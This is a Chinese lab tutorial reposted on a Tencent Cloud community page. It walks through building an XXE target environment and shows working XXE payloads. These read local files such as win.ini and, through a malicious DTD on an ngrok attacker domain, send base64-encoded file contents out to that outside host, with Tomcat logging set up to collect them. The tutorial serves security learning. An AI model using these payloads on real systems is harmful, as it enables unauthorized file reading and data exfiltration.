前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >技术分析|XXE环境搭建及实战 包含有回显无回显操作

技术分析|XXE环境搭建及实战 包含有回显无回显操作

作者头像
陈殷
发布2020-03-06 11:38:09
2.4K0
发布2020-03-06 11:38:09
举报

文章说明:

文章为山丘安全攻防实验室成员:O8原创

文章仅用于攻防技术学习,请勿用于非法用途

靶机环境

代码语言:javascript
复制
靶机地址:https://github.com/c0ny1/xxe-lab
搭建平台:VM、windows7、xampp
靶机IP:192.168.0.133

搭建说明:安装xampp后,htdocs目录放入靶机项目,然后开启apache、mysql访问即可

访问 http://192.168.0.133:8081/php_xxe/ (注意我这里是改了端口的)

攻击机环境

代码语言:javascript
复制
IP:192.168.0.165
操作系统:windows10
本次实验用到的工具:BurpSite、tomcat7、ngrok

有回显漏洞利用

攻击流程

实战

访问 http://192.168.0.133:8081/php_xxe/ 随意输入帐户名密码进行抓包

头部信息:Accept: application/xml, text/xml, */*;

尝试解析xxe

POC:

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
  <!ENTITY xxe "Hacking">
]>
<user><username>&xxe;</username><password>123123</password></user>

代码被解析,尝试任意文件读取

POC:

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "file:///c:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123123</password></user>

文件被正常读取 总结:攻击用到了file协议进行文件读取

不回显漏洞信息外带利用

攻击流程

环境搭建

有外网服务器的同学忽略这一步

不(我)想(没)用(有)外部服务器,就自己在攻击机上面搭建一个服务器,用于接收数据

说明:需要一个客户端转发内网地址到外网,从而实现穷屌接收数据的伟大梦想

环境:

代码语言:javascript
复制
tomcat7、ngrok、假设没有回显
在ngrok注册一个账号:https://www.ngrok.cc/
创建免费ngrok的http服务

注册成功后选择开通隧道–免费中国香港主机

选择http协议、隧道名称和前置域名填你自己的就行了

然后点击隧道管理,需要记录的是隧道ID和赠送域名

客户端下载地址:https://www.ngrok.cc/download.html

根据你的操作系统选择对应的客户端。

本地搭建tomcat服务器

下载tomcat、然后修改/conf/server.xml

代码语言:javascript
复制
 <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
           prefix="localhost_access_log." suffix=".txt"
           pattern='%h %p %H %l %u %t "%r" params={%{post}r} %s %bbytes %Dms' />

修改你在创建ngrok时的端口(tomcat默认80)

port="8998" 是我自己修改的http端口

代码语言:javascript
复制
    <Connector port="8998" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />

启动tomcat ./bin/startup.bat

ngrok运行

运行 Sunny-Ngrok启动工具.bat 然后填入刚开始记录的隧道id,点击回车

访问你自己的域名,出现tomcat说明环境搭建好了

实战演示

恶意DTD以及POC编写

第一步: 攻击者服务器建立O8.dtd并放入tomcat \webapps\ROOT\中

POC:

代码语言:javascript
复制
<!ENTITY % all 
  "<!ENTITY &#x25; send SYSTEM 'http://o8.free.idcfengye.com/?%file;'>"
>
%all;

第二步:攻击机中发送恶意XXE代码到攻击者服务器

POC:

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
  <!ENTITY % dtd SYSTEM "http://o8.free.idcfengye.com/O8.dtd">
%dtd;
%send;
]>

实现效果

攻击者服务器tomcat运行着O8.dtd

抓包发送恶意XXE代码

攻击者服务器收到请求并将外带读取数据写入log文件

将带过来数据bash64解密

参考文献

https://mp.weixin.qq.com/s/VWofHp5lJLYnbw01copnkw

https://www.freebuf.com/vuls/194112.html

https://cloud.tencent.com/developer/article/1472487

https://www.secpulse.com/archives/850.html

https://www.secpulse.com/archives/6392.html

https://www.secpulse.com/archives/6256.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 山丘安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 攻击机环境
  • 有回显漏洞利用
    • 攻击流程
      • 实战
      • 不回显漏洞信息外带利用
        • 攻击流程
          • ngrok运行
        • 实战演示
          • 恶意DTD以及POC编写
          • 实现效果
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档